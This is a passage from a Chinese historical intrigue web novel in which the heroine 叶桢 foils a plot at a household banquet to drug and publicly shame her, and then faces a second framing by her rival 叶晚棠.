谢霆舟则被任命为新的武德司指挥使,兼任大理寺少卿一职。
父子皆被重赏,这在叶桢所知的认知里,几乎不存在。
历史长河里,天下太平后,皇帝对于武将的不世之功,既要彰显其功绩,又要确保皇权稳固。
因而通常会明升暗降,实权剥离,甚至寻个由头直接收回兵权。
谢霆舟定也是料到这个结果,才涉险入宫。
世人皆知皇帝极为在意皇后。
当年不顾百官反对,坚持要立先皇的皇后,也就是他的皇嫂为后,甚至将皇后腹中遗腹子册封太子。
听闻多年来,皇帝对皇后感情始终不变。
可大白天皇后宫中有刺客闯入,负责保护皇后的武德司指挥使和护卫统领皆被杀。
皇后安危堪忧,皇宫防卫有待提升,皇帝急需新的指挥使人选。
刚大败敌国,又果决焚杀五万俘虏的谢霆舟,入了皇帝的眼。
可叶桢想不明白,谢霆舟为何就断定,这样做皇帝一定会选择他?
还有,他为何要进武德司?
他是谁?
夜里,叶桢终于见到了人。
但她还没开口,谢霆舟闲闲笑道,“弟妹求活,最好什么都别问,好奇往往致命。”
可等叶桢离开后,刑泽还是忍不住问道,“主子为何笃定皇上会任命您?”
谢霆舟看着快要完成的人皮面具,淡淡道,“帝心难测,本世子并无笃定。”
“那您……”
那您还进宫杀人,这是冒了多大的险,他和扶光都快担心死了。
可他也知主子有自己的理由,没敢抱怨。
谢霆舟的声音却陡然冰冷,“该死之人,让他们多活了这些年,已是便宜了他们。”
刑泽便想起,当年他带人找到主子时,主子浑身无一寸好皮,无一块好骨,护着主子的兄弟更不知死了多少……
主子想要指挥使的位置,因而冒险进宫,若不成,主子也算报仇了。
他攥紧了拳头,那些人的确该死,就是太危险了,下次说什么他也得跟着。
扶光不曾与他们一起经历这些,无法真正体会,“主子进武德司,可是想查山里刺客的身份,还有水无痕的事?”
这些都是武德司能接触的到的。
谢霆舟颔首。
扶光却突然跪下,“主子得空时,可否也替我家世子查一查他的冤屈?”
“此话何意?”
谢霆舟凝眸。
“属下今日见柳氏马车有暗格,想起当年世子毁容一事……”
与此同时,谢瑾瑶的房内。
“怎样,可买到了?”
织云将一个荷包奉上,笑,“不负小姐所望。”
她这几日都出门,担心会被跟踪,兜兜转转去了许多地方,总算拿到了小姐要的东西。
见谢瑾瑶要打开,忙阻止,“小姐不可,听闻这药极烈,放一点便能令人失去理智。”
谢瑾瑶闻言,忙停了动作,又问,“贺铭那边情况如何?”
“日日借酒消愁。”
织云奉承,“还是小姐聪慧,知道侯爷爱兵如子,定然会采纳您的意见,为他们办相亲宴。”
“我们是父女,我怎可能对他连这点了解都没有。”
谢瑾瑶得意,“等贺铭和叶桢沾了这药,当众做出丢人的事,我看父亲还怎么护他们。”
她本是行侠仗义,谁知道贺铭那未婚妻是被恶霸抢去的,长了嘴不知道说,害得她以为那女人是私逃,反帮了那恶霸。
毁她英名,简直晦气。
虽然母亲已替她善后,但贺铭是父亲军中的,听闻有些本事。
不除了他,她总觉得不安心,万一那日他清醒过来察觉了什么,到底是个隐患。
那便借这次宴会,将他和叶桢一并解决了,一箭双雕……
第39章 好戏开场
封赏下来,就得举办封赏宴。
忠勇侯很看重这次宴会,早早向王老夫人借了人。
来的正是王老夫人身边的崔嬷嬷和桃枝。
崔嬷嬷对京城各家情况都有了解,叶桢在她的帮助下,拟好了宴请名单送给忠勇侯过目。
忠勇侯看过没问题,再将自己的兵崽子们加上,便让人将请帖发了出去。
之后的几日,叶桢白日准备宴席的事,晚上忙谢霆舟的面具。
中间还抽空请叶正卿去京城最热闹的太白楼,吃了顿饭。
而王氏虽每日还被疼痛折磨,但不曾恶化。
有些原本还担忧叶桢当真刑克,不敢与之接触的人家见此纷纷消除顾虑,开开心心准备赴宴。
叶晚棠计划彻底落空,气得跑到王氏屋里,剪坏了她十几件衣裳。
她一早就知道在叶正卿心里,官途比女儿更重要,对他的见风使舵反而没那么气,她最恼的是王氏。
“骗子,都是骗子……”
叶桢在屋顶平静看着她发怒,叶晚棠未必在意王氏,她只是占有欲作祟,不喜欢自己的被别人抢去。
可她却抢了叶桢的一切,还要对她赶尽杀绝。
叶桢想让她逐一失去,直到一无所有,让她所有期盼终成绝望,如此才能消她心头之恨,抱前世之仇。
没再理会叶晚棠,她潜入了射姑的房间,见她情况和先前一样,又悄然离开。
她始终没想明白射姑要表达的是何意思,但却想通了射姑为何不愿透露是被人所害。
射姑在护着叶晚棠!
定是她足够忠诚,才会被母亲留在叶晚棠身边。
那么在没有证据证明自己身份前,叶桢不能轻易暴露自己。
否则死忠的射姑或许会将她的事,透露给叶晚棠。
在射姑心里,叶晚棠才是母亲认定的孩子,故而宁愿牺牲自己,也要保全她的名声。
叶桢不敢轻视射姑对母亲的忠诚,只能趁夜来看看她情况如何。
回到侯府,她直接去了墨院,今晚给面具收尾。
一个时辰后,叶桢端着托盘走到谢霆舟面前,“兄长可知,让人口不能言,身不能动的是什么毒?”
叶桢不知谢霆舟医术如何,但这些日她翻了不少医书,也让挽星打听了,没有答案,便到谢霆舟这碰碰运气。
“苍狼国喜侵略,除了凶残好战,他们还喜研究各色毒药,试图用毒侵占大渊。
据我所知,当年叶惊鸿捣毁苍狼京都时,虽毁了他们的制药基地,但也留下不少毒药送往皇宫,以便御医们研究。”
他看了叶桢一眼,“武将缴获的战利品,私留一部分,已是不成文的规定。
叶晚棠给射姑用的,或许就是当年叶惊鸿留下的。”
他什么都没问,却什么都知道。
叶桢已没瞒的必要,问道,“兄长可有法子?”
“看过才知。”
谢霆舟又补了句,“今晚没空。”
明日便是封赏宴,天色未亮叶桢就得早起做准备,眼下已是夜半三更,叶桢没强求。
又问,“谢云舟在敌国为探的事,兄长可有结果?”
谢霆舟睨了她一眼,倒是也学会要挟了。
“探子在敌国时化名水无痕,曾给陛下来过信,那信存在武德司的密库里,本世子想法子拿到那信,对对笔迹。”
其实在他心里,谢云舟是这个探子的可能性几乎被排除了。
叶桢亦是如此,“兄长得了信,可否给我瞧瞧?”
她想尽可能多一点线索,或许能根据这个线索,找到前世断她手脚的人。
“可。”
谢霆舟伸手,“现下这面具能给我了?”
叶桢笑,“自然,原本制作费两万两,但我与兄长交情匪浅,我给兄长打个对折,兄长给我一万两便可。”
“一万两?”
刑泽眼睛溜圆。
少夫人你怎么不去抢。
何况给主子做面具不是交易嘛,刚刚又问了那许多个问题。
叶桢看出他的不满,笑容加大,“我说会做,没说免费做。
兄长贵为忠勇侯府世子和武德司指挥使,又刚得了陛下不少赏赐,当不会赊欠我那点工钱,是不是?”
还抢走了她从县令那里得到的横财。
她要一万两,也只是要回自己那一部分。
饮月他们快到了,都是半大小子姑娘,养娃费钱啊。
她就差把缺钱写脸上了,谢霆舟莫名觉得好笑,“侯府如今你当家,你还会缺钱?”
叶桢脱口而出,“侯府的是侯府的。”
她迟早是要离开的。
谢霆舟没再为难,看了眼刑泽。
刑泽去里间,很是心疼地拿出银票交给叶桢。
叶桢习惯性数了数,十张一千两的银票数万,眉眼一弯,笑道,“兄长往后若有需要,还可找我,我还给你折扣。”
那贪财模样让谢霆舟有片刻恍惚。
当年那人初救他时,亦是拿走了他身上所有银票,数钱的模样与叶桢极为相似。
“你这些年一直在南边庄子吗?”
叶桢离开时,他终是忍不住问了句。
“当然。”
叶桢想也不想地回道,她怎么可能让外人知道她真正的行踪。
翌日,叶桢早早起床洗漱,打点府中一切。
忠勇侯下朝时,便有官员直接跟着他来了府上,之后陆陆续续有客人上门。
叶桢第一次招待这么多人,心底是有些怯场的。
但这是她今生必须走的过程,她需要抓牢掌家权,需要各方面不断强大,才能不再被害,才能报仇。
她曾随师太们去过大法会,默默在心里将宾客们当做法会的信徒,都是两只眼睛一只鼻子的人,有什么怵的,她慢慢压下心底的怯意。
又有崔嬷嬷的相助,因而虽算不出如鱼得水,也算周到。
忠勇侯担心叶桢办砸,一直留意动静,见宾客们并无不悦,心里对叶桢很是满意。
同样叫他满意的还有谢瑾瑶,她帮忙招待京中未出阁的小姐们,替她的嫂子减轻负担。
这才是姑嫂该有的样子。
叶桢却不敢如此想谢瑾瑶,她时刻提防着,因而见谢瑾瑶和叶晚棠离开,忙让挽星跟上。
“你跟来作甚?”
凉亭里,谢瑾瑶问叶晚棠。
看叶桢出尽风头,她心里很不舒服,寻了个借口到湖边透透气,没想到叶晚棠会跟来。
这样的宴会,叶晚棠会来,她一点都不意外,但她讨厌叶晚棠,不愿与她共处。
叶晚棠却是眉眼带笑,“怪不得叶桢那日说侯府如今她做主,今日一瞧,果真如此。
真没想到,高高在上的谢大小姐也有今日,我瞧着实在高兴,便过来同你说声恭喜。”
恭喜?
何喜之有?
这样嘲讽的话,顿时叫谢瑾瑶心头冒火,“叶晚棠,这是我家,休要在我家得意。”
叶晚棠噗嗤一笑,“是,你家,只不过你不能做主罢了。”
她咯咯笑着,好似瞧了多大的笑话,捂着嘴离了凉亭。
却在转弯处,隐在假山后,见谢瑾瑶气冲冲地往后院走,她眉眼露出一抹残毒。
她探不到侯府的情况,却意外地发现谢瑾瑶的婢女织云在黑市卖了那种药,一旦吸入,便可让人意乱情迷。
谢瑾瑶眼下最想除掉的就是叶桢,不难猜出,那药是为叶桢准备的。
但这远远不够,她还有更好的计划,因而她故意激怒谢瑾瑶,让她不顾一切地对叶桢下手。
她好黄雀在后。
“好戏要开场了。”
她在心里笑道。
第40章 陷害叶桢
侯府的海棠花开得正艳。
叶桢命人在树下摆好坐席茶果,夫人小姐们可在树下赏花闲聊,饮茶吃点心。
海棠树外,是侯府的校场。
透过朵朵粉花,隐隐可见军中男儿们或跑马射箭,或比武切磋的英姿……
这是忠勇侯想出来的法子,既能让对面的未婚小姐和夫人们看到光棍们的魅力,又不会坏了男女大防的规矩。
原本,他是让谢霆舟来做此事的,但谢霆舟以今日进宫当差回绝了。
忠勇侯为了追随自己多年的崽子们能娶上媳妇,只得亲自上阵,自然,其余男客纷纷陪同叫好。
大家都是人精,见此还有什么不明白的,今日的封赏宴也是相看宴。
此番大捷,忠勇侯部下小将几乎都得了赏,家中有女儿还没着落的,不由动了心思。
甚至有夫人为了能给自家女儿挑个好的,仗着已婚妇人的身份,直接扒开花枝,以便看得更清楚些。
只要忠勇侯不倒,这些小将,个个有前途,其余夫人又怎敢落后。
见事情顺利进展,叶桢暗暗松了口气,端起茶水轻啜。
忽然,一婢女匆匆跑来,在她耳边低语,“少夫人,不好了,湖边有两位小姐闹了起来……”
叶桢听完婢女的讲述,让谢瑾瑶招待一众夫人小姐,自己跟着婢女前往湖边。
谢瑾瑶见她离开,嘴角扬起一抹冷意。
叶桢到时,远远瞧见其中一人被撞进了湖里,虽被身边婆子丫鬟七手八脚地拉了上来,但浑身湿透。
她忙让人拿来披风系在对方身上,又吩咐婢女领着她去换衣裳。
被推下水的姑娘叫沈碧水,因父亲和叶正卿交好,得以跟在叶晚棠身边。
她不甘心就此离开,同叶桢道,“少夫人,您评评理,路面这么宽敞,她故意往我身上撞,还说是不小心。”
“我刚刚不是让你见识过,什么是真正的故意么?”
另一姑娘罗兰巧哼道,“你若不服,本姑娘还可再让你下一次水。”
她是忠勇侯副将的女儿,平日和谢瑾瑶关系要好,也习了她的嚣张脾气。
刚刚她在湖边撞倒了沈碧水,嘴上说不小心,却不道歉。
沈碧水衣裙被弄脏,心里有气,认定她是故意欺负,这才吵了起来。
罗兰巧为了证明自己若故意,直接能将人撞水里,她真的将人撞下了水,就是叶桢刚刚看到的那幕。
叶桢浅笑,“两位姑娘的官司,我不清楚,但两位今日既来侯府做客,还请给侯府薄面,恩怨暂且搁置。”
等出了侯府,你们想怎么闹,便怎么闹。
见叶桢没有参与其中的意思,更没讨好哄劝,罗兰巧愣了愣。
一般遇上这种事,主家不都是问清经过,再做和事佬么。
叶桢怎么不按套路来,定是她长在乡野,没人教,不懂京里的规矩。
正欲胡搅蛮缠,便听得叶桢道,“眼下正是春寒料峭时,沈姑娘还是及时换衣的好,免得惹了风寒白白受罪。
若非要断个是非,我可派人去请两位家中长辈前来,亦或者请侯爷一同过来,也可。”
“二少夫人,你怕不是脑子糊涂了吧?这种女子后宅事,怎可惊动侯爷?”
罗兰巧震惊,“你到底会不会管家?”
谁家管家的,一遇到事就找家里的顶梁柱啊?
男人可都是在外面做大事的,女人依附男人而活,因而得替男人管好后宅俗务。
叶桢眉目平静,“你要在侯府宴会闹事,便是打侯府的脸,打侯府的脸就是打侯爷的脸,有人打他的脸,我身为儿媳,知会他是应该的。”
罗兰巧竟无言反驳。
谢瑾瑶让她将叶桢引到客院,她才故意寻了沈碧水的麻烦。
叶桢是主宴人,府中有事自是她来解决,等人到了,她缠闹一番,再设法将人弄到客院。
可谢瑾瑶没告诉她,叶桢会用父母和忠勇侯压她。
正不知怎么办时,听得沈碧水道,“我去换衣服,还请二少夫人莫要通知我父亲母亲。”
她是庶女,父母不会为她做主,反而会嫌她惹事。
叶桢颔首。
沈碧水看了眼罗兰巧,似害怕再被她欺负,问叶桢,“二少夫人可否陪我一起?”
“海棠林那边还需我招待。”
叶桢要拒绝。
罗兰巧眼眸一亮,有了主意,毫不避讳地朝沈碧水挥拳,眼神威胁。
沈碧水瑟缩了下,揪住叶桢的衣袖,“求你了,二少夫人。”
很是可怜的样子。
叶桢不知是心软,还是也怕她们真的将事闹大,答应了沈碧水。
目的达到。
罗兰巧心中得意,“我也要去。”
以免中途出变故,她亲眼看着叶桢进了客院,才转身去通知谢瑾瑶。
沈碧水换好衣裳,感激叶桢,又说不敢再去前头,省的再被罗兰巧盯上。
她受了惊,想在客院休息一会儿。
叶桢没意见。
只还没出院子,又有一小厮垂头跑来,“少夫人,东边屋子有个客人喝多了,不省人事,您快去看看吧。”
客院西边供女客更衣休息,东边则方便男客,分别有婢女小厮看守。
挽星闻言,便道,“既是男客不舒服,你该及时去请大夫,或禀明侯爷,让少夫人去看是何规矩。”
小厮被训斥,忙跪地,“小的实在是被那小将军吓到了,怎么叫都叫不醒。
想着如今是少夫人管家,小的这才忙来通禀。
少夫人,您快去看看吧,小的实在担心那小将军出事。”
叶桢似也害怕出事,吩咐挽星,“你去请府医。”
又看向小厮,“带我去看看。”
小厮始终垂着头,闻言,忙起身将叶桢引到了一间房中。
“人在里间,不知眼下如何了。”
进了屋,小厮这般道,却未上前,而是闪身退出,及时锁住了房门。
叶桢察觉忙拍门,却只拍了两下便没了动静。
小厮露出得逞的笑,转身去追挽星,告知她男客已醒离开了客房,少夫人也回了海棠林,不必请医。
挽星不疑有他,忙也返回海棠林,却未见到叶桢。
正欲去寻时,听得谢瑾瑶大声道,“挽星,二嫂呢,怎的还不见她过来。
快到中午了,该开宴了,可别饿着夫人小姐们。”
挽星不知如何回复,谢瑾瑶又笑道,“该不是二嫂亲自去下厨了吧。”
她似炫耀道,“不瞒诸位夫人小姐,我家二嫂厨艺很是了得,说不得诸位今日有口福了。
可有人同我去瞧瞧,二嫂替我们准备了什么好吃的。”
这话明夸暗贬,权贵圈中,当家主母最多偶尔为亲近的人下厨,谁会在宴请时亲自下厨招待客人。
只有下等出身的人家才会如此。
精明的夫人看出姑嫂不睦,不愿参与侯府家事,拉着自家晚辈继续赏花。
但也有不少想讨好谢瑾瑶这个嫡女,或者喜看热闹的,跟着她浩浩荡荡去了灶房。
灶房告知,叶桢不曾去过。
谢瑾瑶吃惊,“那二嫂丢下一众客人,去哪里了?”
罗兰巧似现在才想起来,一拍脑门,“她不会还在客院吧?”
“这话怎么说?”
有人问。
罗兰巧便道,“我刚不小心撞了沈家小姐,弄脏了她的衣裙,便陪着她一同去客院更衣,少夫人当时也一起去的。”
“莫不是客院出了事?”
谢瑾瑶焦灼,忙疾步往客院去,等在西边找了一圈没找到人时。
她眼底的笑意压都压不住,叶桢啊,叶桢,你今日死定了。
嘴上却是道,“会不会是去了东院?”
罗兰巧打配合,“那快去瞧瞧吧,可千万别出事。”
第41章 抓 奸
谢瑾瑶带着一众人又浩浩荡去了东侧院。
老远她便看见小厮给的记号,心中了然,却假模假式地寻了几间空屋后,才来到了关着叶桢的房间。
房门上的锁早已被提前取掉,里头隐隐传来什么声音,听不真切。
但可以确定里面有人。
叶桢的婢女朝露突然出现,挡在了门口,“大小姐,这里不可以进。”
她的阻拦让谢瑾瑶心里笃定,叶桢此时定然在与贺铭苟且。
那药效极为强烈,不折腾一两个时辰根本无法清醒。
可怜的小婢女,知道叶桢在行丢人的事,却没有丝毫办法,只能挡臂挡车地拦在她面前。
“可是二嫂出了什么事?为什么我们不能进?”
谢瑾瑶佯装担忧,嘴角的笑意却怎么压都压不住。
叶桢还敢在外面炫耀侯府她做主,等推开这扇门,她的丑态展现众人眼前。
她将会从云端跌入地狱,余生永永远远烂在臭泥里。
届时,她看她还怎么嚣张。
区区一个婢女,不自量力又怎么能阻止得了她。
“你们不能进。”
朝露重复,清澈的眸中隐藏恨意。
她在府中这些日子打听了不少大哥的事情。
大哥老实忠厚,认真当差,却被侯夫人污蔑偷窃而杖毙。
始作俑者是谢瑾瑶。
虽说知道那药效时间长,但好不容易算计成功,谢瑾瑶不想再给叶桢翻盘的机会。
她朝自己的狗腿罗兰巧使了个眼色。
罗兰巧会意,伸手去拉朝露,“二少夫人的丫鬟好没规矩,竟连主子也敢拦。”
朝露这些天的肉不是白吃的,她长了不少力气,加之仇恨使然,罗兰巧没拉动她。
反让她顶着脑袋用力撞向了谢瑾瑶。
谢瑾瑶腹部被撞得生疼,怒焰顿起,“拿下,本小姐倒要看看二嫂究竟在做什么?这般见不得人。”
织云和另一个婢女忙上前抓住朝露。
朝露拼尽全力撞了谢瑾瑶,心中痛快极了。
她记得叶桢的提醒,伺机报复一下便可,要报仇往后有机会,不可与谢瑾瑶硬碰硬,免得自己吃亏。
因而她佯装挣扎几下就顺势被困住,只嘴上道,“你们不能进,是侯爷和世子他们在里面。”
谢瑾瑶哪里会信?
她捂着疼痛的腹部,想着等解决了叶桢,稍后定要将朝露的脑袋打烂。
脚用力踢在了门上。
门砰的一声被踢开,里面的场景却不是她想的那样。
忠勇侯大马金刀坐于床前,谢霆舟和叶桢坐在一旁,地上瘫着个醉眼朦胧的贺铭,满屋都是酒味。
竟真的是父亲!
谢瑾瑶脑子嗡的一声,一片空白,父亲怎么在这里?
这样想,便问出了口。
忠勇侯却没看她,而是朗声同她身后的一众人夫人小姐们笑道,“贺铭醉得不成样子,吵着还要酒喝。
霆舟担心他喝出问题,让人寻了我来,叶桢拿来的醒酒丸也不管用,本侯只得等大夫来瞧瞧,你们也是来看他的么?”
原本众人见谢瑾瑶那番举动,还当是有好戏看,眼下被忠勇侯的笑声醒了神。
他们来侯府是为结交,而不是看侯府笑话交恶的。
今日之事,要么是谢瑾瑶计划落空,要么根本没戏,但都不是久留之地。
有人笑说饿了,想找二少夫人讨宴席吃。
忠勇侯便起身,笑着让大家先去落座,等大夫看过贺铭,他们也会过去。
陈青和吴东出现在门口,领着众人往外走。
叶晚棠跟在人群中,眼里一片讥讽。
谢瑾瑶这个废物,在自己家,连这点事都办不好,幸好她备了后手。
“瑾瑶,你留下。”
忠勇侯声音依旧是笑着的,却让谢瑾瑶打了个寒战。
“父亲,我去招待他们……”
她不知道计划好的事情为什么成了这样,但她知道她败了。
留下将要承受父亲滔天的怒火。
然则,不等她迈动脚,忠勇侯拉住了她,在屋门关上后,蒲扇般的大掌如疾风刮在了她脸上。
谢瑾瑶的脸顿时红肿起来,忠勇侯眼里是遮天蔽日,山雨欲来的风暴。
“你做了什么?”
他在校场卖力推销他的光棍们,眼见好几个都有了着落,心中正开怀时,扶光找到他,告诉他贺铭出事了。
贺铭沉溺伤痛不肯展现自己,忠勇侯恨铁不成钢,却也不能牛不喝水强按头,由着他溜了。
他以为扶光口中的出事,是喝多了,万没想到,他是中了情毒,且与他一起中毒的还有叶桢。
幸在霆舟回府时发现鬼鬼祟祟的小厮,察觉不对劲抓起来审了审。
在他口中得知事情,及时解救了他们。
他很难接受,算计贺铭和叶桢的会是他的女儿。
加之被解毒的两人依旧虚弱,因而他们等在了屋中。
然后,他看到了他的女儿带着一众外人,来抓她嫂子的奸。
让他心里最后的一丝侥幸,彻底消散,只剩狂怒和失望。
“你一个闺阁女子,从哪里学得这肮脏手段,又为何要害他们两个?”
尤其是贺铭。
他与谢瑾瑶并无交集。
谢瑾瑶被打懵了,她长这么大,第一次挨忠勇侯的打。
她不可置信地看着忠勇侯。
忠勇侯怒到极致,“你知不知道你在做什么?”
叶桢掌家,谢瑾瑶担心侯府下人不可靠,竟对罗兰巧许以重利,借用她家的小厮,帮忙设计侯府出丑。
忠勇侯气得脑门疼,他想不通,他怎么会生出这样蠢笨恶毒的女儿。
她究竟知不知道,今日一旦她算计叶桢成功,让世人看了侯府的笑话,她谢瑾瑶的名声也毁了。
世家大族的当家夫人们,哪个不是人精,只要深想就能猜到今日之事是她所为。
一个不顾家族名声,算计嫂子,欲置嫂子于死地的小姑子,谁敢娶回家。
见谢瑾瑶还不回话,他气得反手又是一巴掌。
谢瑾瑶整个人都扇倒在地,整张脸肿成了猪头。
她终于回过神来,“女儿不知父亲在说什么?”
还不知父亲知道了多少,她不能轻易认罪。
“带过来。”
忠勇侯话落,罗家的小厮被带了上来。
谢瑾瑶浑身无力,软在地上。
忠勇侯等着她解释,等来的却是谢瑾瑶指着叶桢,“是二嫂,是她耐不住寂寞,与贺铭厮混,还想栽赃于我。”
“混账东西,还敢冤枉你嫂子。”
要不是霆舟来得及时,叶桢都要用簪子扎自己维持清醒了。
他来时,叶桢手里还死死捏着那簪子。
叶桢若有那种心思,往后她出府自由,何须非得今日,还让自己中了那种药。
谢瑾瑶当真是和柳氏一个德性,污蔑人的谎话张口就来。
“再不说实话,就去庄上和你母亲作伴,往后都不得踏入侯府半步。”
朝露很失望,谢瑾瑶犯了这么大的错,被抓了现行,结果只是去庄子思过。
幸好她和二哥听了少夫人的话,徐徐图之。
否则,就算侯府知道谢瑾瑶所为,估计也是轻拿轻放,而他们兄妹反而暴露自己,恐难逃谢瑾瑶毒手。
现在才出现在屋门口的挽星,示意她稍安勿躁,小姐今日不会放过谢瑾瑶的。
片刻后,有人大步跑来,推开了房门。
“侯爷,又出事了。”
忠勇侯没等到谢瑾瑶开口,陈青跑进来。
“沈家小姐与罗副将衣衫不整地共处一室,罗夫人母女和她打起来了。”
他口中的罗副将正是罗兰巧的父亲。
罗兰巧帮着谢瑾瑶在侯府作恶,忠勇侯还没来得及算她的账。
她老子又在侯府惹出什么事?
忠勇侯自己不喜女色,对部下也管得严,闻言,让人看住谢瑾瑶,就要往外走。
却听得陈青又道,“沈小姐说,她是得了少夫人的指使才如此,罗夫人母女闹着找少夫人要个说法。”
谢瑾瑶虽不知这一出又是怎么回事,不过瞧着对她有利,暗暗松了口气。
忠勇侯看向叶桢。
叶桢起身,“我不曾示意她什么。”
挽星带着朝露走到她身边。
忠勇侯看了眼两人,“扶着你家主子。”
刚没让叶桢领人去宴席,是叶桢刚解毒时,虚弱得连站立都不能。
眼下见她能站起,那便一起去看看。
他到底要看看,今日这宴会,他们还要闹出什么幺蛾子来。
谢霆舟拽起贺铭,也不紧不慢地跟在了后头。
揭露谢瑾瑶,给贺铭一个公道,是他和叶桢先前商量好的。
但沈碧水的事,在他们意料之外,是有人趁乱想黄雀在后。
如此倒也好,等老头子看到谢瑾瑶究竟捅出多大的篓子后,父爱就不会那么泛滥了。
倒是叶桢……
他眯了眯眸,没想到她竟会真的让自己中药,她就不怕他回来的不及时,真出什么事。
她就那么信他?
叶桢不是信谢霆舟,重生后她再不敢将希望寄托在别人身上。
她是提前备了解药,且及时捂住口鼻,只让自己吸入一点,谢霆舟回来得晚,她也能让自己安然无恙。
若她不中药,难免让忠勇侯疑心,在女儿和儿媳之间,他向来偏袒女儿。
叶桢有自知之明,忠勇侯只是公爹,不是父亲。
沈碧水出事的房间在东侧的最里间。
叶桢到时,里外围满了人。
那些人原本是要跟着陈青吴东他们去席上的,结果被一道惊叫的女声吸引了过来。
是沈碧水的婢女发现了他们。
被人撞破,沈碧水忙同被子里的男人求助,叫破了罗副将的身份。
当时罗家母女正在人群看热闹,听到沈碧水的话,袖子一撸就冲上去与沈碧水厮打在一处。
沈碧水不是母女俩的对手,这才招认是叶桢的主意。
罗兰巧见到叶桢过来,忙道,“少夫人,让沈碧水勾引我家父亲,你究竟是何居心?”
第42章 反击
所有人都望向了叶桢。
叶桢则看向沈碧水,“你那话从何说起?”
“少夫人?”
沈碧水满脸不可置信和慌乱,“你这是什么意思?
明明是你陪我更衣时同我说的啊,你说罗副将深得侯爷信任,又容貌上乘,胜过许多年轻儿郎。
恰好那日我见过罗副将,被他通身气派折服,这才不顾女子矜持……”
她捂脸哭得柔弱无比,“我不过一家中庶女,自知不够资格陪在罗副将身边,这才听了少夫人的话。
可您不能不认啊,否则,我哪里还有活路,少夫人,求您开恩啊……”
“胡说八道。”
挽星厉斥,“你与罗兰巧争执,被她撞下水,我家小姐好心陪你去更衣。
期间不曾多言一句,何时说的这些荒唐话,你休要胡乱攀扯。”
“我没有攀扯。”
沈碧水拼命摇头,委屈至极地同众人解释。
“三年前,少夫人刚回京,我们便在将军府相识。
她曾同我说,她羡慕晚棠小姐的出身,渴望和她一样做人上人。
还说终有一日,她也会成为这样的人,当时,我只当她说笑而已。
可如今她取代成侯夫人成了掌家人,我鬼迷心窍,竟觉得在她身上看到了出路。”
人心中的成见是一座大山,他们通常觉得位卑者应该羡慕位高者。
因而对沈碧水的话信了几分,有人开始指责叶桢。
尤其罗兰巧,她没找到自己的小厮,又见谢瑾瑶被留下,猜到自己帮谢瑾瑶的事败露了。
正想如何补救时,沈碧水指认了叶桢。
无论真假,她都得帮沈碧水踩死叶桢,只有叶桢被处置,谢瑾瑶才有翻身的机会。
否则,等着她的绝无好下场。
父亲对侯爷忠心耿耿,决不允许她在侯府使坏。
至于沈碧水,妄想进她罗家门,往后她有的是机会弄死她。
因而她是所有人里,叫得最大声的。
叶桢始终平静。
“按你的说法,我让你这般做的理由是什么?”
“你说侯爷手下的将士家眷里,罗夫人几个年纪大的夫人,都与侯夫人交好,视侯夫人为领头羊。
如今你掌家,需要培养自己的势力和圈子,你不止会换掉罗夫人,还有其他与侯夫人交好的,你都会寻合适的人选,逐一换掉。
侯爷底下将士们的家眷拥护你,你的权利才能抓得牢靠。”
她似难以启齿,“你还说男人没有不图年轻的,喜新厌旧是常态。
夫人们年老色衰,就该给年轻小姐们让位。”
“好你个叶桢,侯爷让你当家,你还管起我们的家事来了。”
罗夫人闻言跳了起来,“你可知我们这些年老色衰的,都是跟着男人们刀山火海苦熬过来的?
操持后方,整理军需,帮忙维护百姓是日常,遇上敌军来袭,我们也是扛着大刀砍过敌首的。
如今,我们的男人们还没嫌弃我们,你倒是先替他们嫌弃上我们了,这究竟是何道理?”
这些年她将女儿丢给公婆管,不惧边境艰苦也要随军,就是知道自己容貌不佳,而丈夫却越长越年轻。
她担心丈夫被外头的狐媚子勾了去,没想到,丈夫在边境没出问题,回了京,倒是被叶桢算计了。
这叫她如何不气?
她拉着身边另一位夫人,“那年,敌军烧毁了渡河的桥梁,我们的男人被敌军围困对岸,无食果腹,无厚衣暖身。
侯爷下令修桥,冰天雪地里,我们这些年老色衰之人,亦将自己当做男儿,下水帮忙。
她为了救丈夫,以及无数和她丈夫一样被困对岸的男人们,失去了刚怀上的孩子。
此后再难有孕,如她这般身体各有损伤的女眷,不计其数。
叶桢,你是如何生出这般歹毒心思,又可曾想过,若真如你的愿,我们这些年老色衰的糟糠之妻该如何活命?
世人又如何看待抛弃共患难妻子的男人们?若底下的将士们都是这般德行,世人又如何看待治军的侯爷?”
她字字泣血,声声质问,让在场众人对叶桢的愤怒到达了顶点。
被她拉出来的夫人,与她往日交好,这次回到京城,公婆嫌弃她不能生养,正撺掇男人再娶,男人已有心动迹象。
因而今日罗夫人将她的事说出来,她非但不气,反而感激,觉得这是一个维护自己地位的机会。
她跪在忠勇侯面前,“侯爷,我们往日经历你皆看在眼里,求您为我们做主。”
有了今日闹的这一场,丈夫再也不敢明着休妻另娶了。
一道从边境回来的夫人们,纷纷携手跪下,让忠勇侯严惩叶桢。
她们态度坚决,大有不罚叶桢就长跪不起的架势。
以至于忠勇侯也看向叶桢,“叶桢,你还有何解释?”
叶桢垂眸,“叶桢不曾教唆沈碧水勾引罗副将。”
这样的解释实在无力。
而她垂头立在那里的样子,像极了孤立无助的模样。
叶晚棠缓缓展开笑颜。
她早打听过,罗夫人这些女人,因着男人同在忠勇侯底下为士为将,又有一起在边境吃苦的经历,早已结下了深厚的感情。
叶桢得罪他们,便是捅了马蜂窝。
而有沈碧水说的那番话在前,就算将来叶桢察觉身世,世人也会觉得她是因嫉妒生出幻想……
哦,不,叶桢没有将来。
叶晚棠以帕掩面,笑得春风得意。
谢瑾瑶总爱与她争高下,可她那双只能看到后宅的眼睛,和那点子后宅手段,是叶晚棠最不屑的。
今日,她便要让谢瑾瑶看看,她叶晚棠才是这京城第一贵女,她的手段丝毫不输男儿。
她朝王氏使了个眼色。
王氏会意,指着叶桢痛心疾首,“你这孩子……糊涂啊。
先前你露出那种想法时,我便严厉警告过你,不得胡来。
你一后宅女子,幸得侯爷心善,让你管家,你怎能生出别的野心,妄图利用为将官们择新妻,来替侯爷拉拢京中势力。
你连家都管不明白,又怎懂朝中局势,怎敢妄加揣测侯爷心思,侯爷最是忠君,你这岂不是要连累侯爷。”
她看向忠勇侯,“侯爷,是我教导无方,才让她这般不知天高地厚。
幸在及时被发现,未让她继续作恶下去,但我再不敢留她在侯府,免她连累侯府。
还请侯爷替云舟给她一纸休书,允我带她回叶家,往后青灯古佛一生。”
王氏是刚刚被人抬过来的,这些日子她身体没变糟,就开始后悔不该被叶桢唬住,丢下了自己的女儿。
因而在叶晚棠找到她,让她今日出面时,她毫不犹豫地答应了。
她这番言论,将叶桢的罪名又提了一个层次。
结党营私,是臣子大忌。
